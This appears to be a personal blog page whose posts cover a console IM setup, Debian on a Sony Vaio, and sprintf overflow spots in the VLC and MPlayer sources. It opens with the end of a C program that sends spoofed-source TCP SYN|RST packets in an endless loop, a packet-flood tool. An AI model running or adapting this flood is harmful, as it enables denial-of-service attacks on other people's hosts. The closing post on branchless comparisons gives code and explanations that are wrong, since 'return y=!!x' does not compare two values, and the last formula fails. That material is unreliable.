   /* Packet length (just IP+TCP header, we have no payload) */
   iph->ip_id = htonl (IPID);

   /* ID of ip packet (just suitable for fragmentation, value is useless for us )*/
   iph->ip_off = 0;   /* IP fragment offset; we don't need it */
   iph->ip_ttl = 255; /* Time to live (max router hops) */
   iph->ip_p = 6;     /* Transport layer protocol (6->TCP, 17->UDP, 1->ICMP) */
   iph->ip_sum = 0;   /* IP checksum (we'll compute that later) */
   iph->ip_src.s_addr = inet_addr (argv[2]); /* Set source IP */
   iph->ip_dst.s_addr = sin.sin_addr.s_addr; /* Set destination IP */

   /* build TCP packet header */
   tcph->th_sport = htons(SPORT);    /* Source port (rather useless in our matter)) */
   tcph->th_dport = htons(DPORT);    /* Destination port */
   tcph->th_seq = random();          /* TCP sequence ID */
   tcph->th_ack = 0;                 /* Only for ACK packets */
   tcph->th_x2 = 0;                  /* Completely unused/reserved */
   tcph->th_off = 0;                 /* First and only tcp segment */
   tcph->th_flags = TH_SYN | TH_RST; /* TCP flags */
   tcph->th_win = htonl (65535);     /* Window size */
   tcph->th_sum = 0; /* TCP checksum (if set to zero, the kernel will do it for us) */
   tcph->th_urp = 0; /* Urgent pointer (useless for us) */

   /* set the correct IP checksum */
   iph->ip_sum = csum ((unsigned short *) packet, iph->ip_len >> 1);

   /* HDRINCL tells the kernel not to put his own headers before our packet */
   if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
   fprintf (stderr, "Warning: Cannot set HDRINCL!\n");

   /* Send out our packets until infinity */
   for(;;)
      sendto (s, packet, iph->ip_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0
         ? fprintf (stderr, "Error sending packet.\n")
         : fprintf (stdout, "%d\n", ++count);

      return EXIT_SUCCESS;
   }

   /* calculate IP checksum */
   unsigned short csum (unsigned short *buf, int nwords) {
   unsigned long sum;
   for (sum = 0; nwords > 0; nwords--)
      sum += *buf++;    /* quite the most simple hashing algorithm */
   sum = (sum >> 16) + (sum & 0xffff); /* shift sum and set bitmask to only one's */
   sum += (sum >> 16); /* add (sum / 2^16) */
   return ~sum;        /* return complement on one */
}

Who needs graphical instant messaging? Shelladdicted users prick up your ears - get rid of GUI IMs and let an FPS-like console do the work for you.

When Quake 1 was released, an incredibly new feature took place in modern FPS games, which only Unix geeks have used before: The gaming shell. A popup-based shell-like environment, fading from the top of the screen, but not covering the main FPS viewing scene to provide a fast, flexible and wonderfully versatile tool for changing about one million gaming options.

Many sequencing games have duplicated this concept but (although beloved by everyone) nearly no Unix nerd has ever thought about using a popup shell in an Unix environment. I finally found tilda, a really amazing tool which does exactly what it is called to be - the tilde key (which can be remapped) is thought to show a shell immediately.

When studying the currently available Linux ICQ client programs, you won't find the solution you might have been searching for. Particular ones have a disgusting GUI, are based on obnoxious libs or just have a lack of features. With mICQ, you have a full-featured replacement for nearly-every IM protocol ever invented. So why don't use micq + tilda and make your instant messaging habits be supported by your own desktop shell?

Installing Linux on a laptop with getting all features to work isn't always a bed of roses. This howto will show you how to install and configurate a perfectly working Debian box, shown by example on a Sony Vaio TX3 notebook.

The full step-by-step guide is found here.

After taking a look on MPlayer, I decided to have an eye on VLC, the OSS media players which is more frequently used in Win32-systems than MPlayer, although both are available on a couple of platforms.

When browsing the source for possible overflow vulnerabilities, the programmers of VLC didn't make it hard to find an overflow .. they explicitely found 'em themselves.

The VLC sources of revision 0.8.6a contain exactly 167 sprintf() calls. When I openend src/extras/dirent.c at first, I briefly checked the upcoming calls, and noticed two sprintfs() with overflows possible.

Shortly afterwards I noticed that I don't even have to search on my own, like line 150 told me:

148       else
149         {
150           /* FIXME: if I wasn't lazy, I'd check for overflows here. */
151           sprintf (szFullPath, "\\%s", szPath );
152         }

Again, the app tries to get the absolute pathname... Should filesystem's programmers nowadays probably unevent the wheel by not allowing directories at all? Application-level programming would be too easy.

I recently discovered a (previously unknown?) buffer overflow vulnerability in the mplayer sources. It's hopefully not enough to execute homebrewn code, but can still crash the application.

The overflow relys on Win32 (either native or via cygwin), when Real-Media codecs are used. Because the Real-Media codecs are proprietary closed-source, the application has to load the corresponding library to decode the v/a-stream correctly.

To do this, the right path to the codecs has to be set. In get_path.c, MPlayer calls the set_path_env() function, which declares a tmppath char array, in the size of 2*MAXPATH + 1, because two different paths (called "realpath" and "win32path") are copied in the tmppath array.

The upcoming problem is that those both paths have to be devided by a semicolon character to get recognized by the OS correctly. If both paths have the size MAXPATH, the last free byte of the array is used by the semicolon, so we implicitly don't have space left for \0 termination, leading to the segmentation fault.

void set_path_env()
{
    char tmppath[MAX_PATH*2 + 1];
    char win32path[MAX_PATH];
    char realpath[MAX_PATH];
#ifdef __CYGWIN__
    cygwin_conv_to_full_win32_path(WIN32_PATH,win32path);
    strcpy(tmppath,win32path);
#ifdef USE_REALCODECS
    cygwin_conv_to_full_win32_path(REALCODEC_PATH,realpath);
    sprintf(tmppath,"%s;%s",win32path,realpath);
#endif /*USE_REALCODECS*/

As the code says, win32path is set by a cygwin built-in function called cygwin_conv_to_full_win32_path(), which takes WIN32_PATH - a define which is set when mplayer compiles (check ./configure, about line 6055). This path is translated to a "real" win32-path, if given in POSIX. The cygwin function also converts a relatively given path to an absolute one, but doesn't check if the second argument (the non-const string, win32path) has enough bytes to fill.

You think this code is ok?

int compare(int x, int y, int z) {
     if (x==0)
         return y;
     else
         return z;
 }

Of course it is, but isit the most efficient way to branch? Are you sure why the following code works?

     return y=!!x;

Get a few information about the almighty If-Statement...

If-branches, one of the thing nearly every programming language has to implement. If-statements make use of the brachning system, the current CPU architecture provides (well, not all CPUs do, but virtually).

Unfortunately, for CPUs it's much harder to realize and execute jumping than simple arithmetic, or even better, bitwise operations. Have a look at the introducing code:

int compare(int x, int y, int z) {
     if (x==0)
         return y;
     else
         return z;
 }

Of course, we don't need the else statement at all here.

    if (x==0)
          return y;
     return z;

Well, still we branch. More skilled C/Java/Perl-programmers would make use of the ternary operator:

int compare(int x, int y, int z) {
     return (x==0) ? y : z;
}

These operators save time, because the compiler (normally) doesn't realize this as an normal if-statement, but although executes branches. Have a look at the following code:

int compare(int x, int y) {
    int a[] = {x,y};
    return a[x==0];
}

This code substitues the branch, usually done by an if-statement, by just performing a comparison (x==0). The clue is that comparison operators can only return true or false since a comparison naturally only defines two states of results - it can be the same or not the same.

In other words, the code won't work with more than two variables, although we can check against something other than zero. However, the point is we finally managed to quit using jumps, but we still rely on defining an array. Let's go a step further:

int compare(int x, int y){
    return y=!!x;
} 

The above code also works with only two variables. The way this works, is the following: We want to compare x and y, and return true if both are the same and false if they are different. The first negotiation of x makes sure that only true or false (in fact 0 or 1) is returned. At this base, we again negotiate the negotiation - what we get is true if x was a positive integer and false if x was zero. Using if's, the code would be:

int compare(int x, int y){
    if(x==0)
        y = 1;
    else
        y = 0;
    return y;
} 

However, this only works with two variables, and only with binary return values. If you need a compare-function not using branching at all, with all three parameters of any positive value, here's a quite nice piece of code working perfectly:

int compare(int x, int y, int z){
     return (y<<(!x)) + (z <<(!!x)) + ~y + 1 + ~z + 1;
}

Welcome to Delta Xi. This page will most probably be not what you were looking for. Anyway, since you're already here - have fun!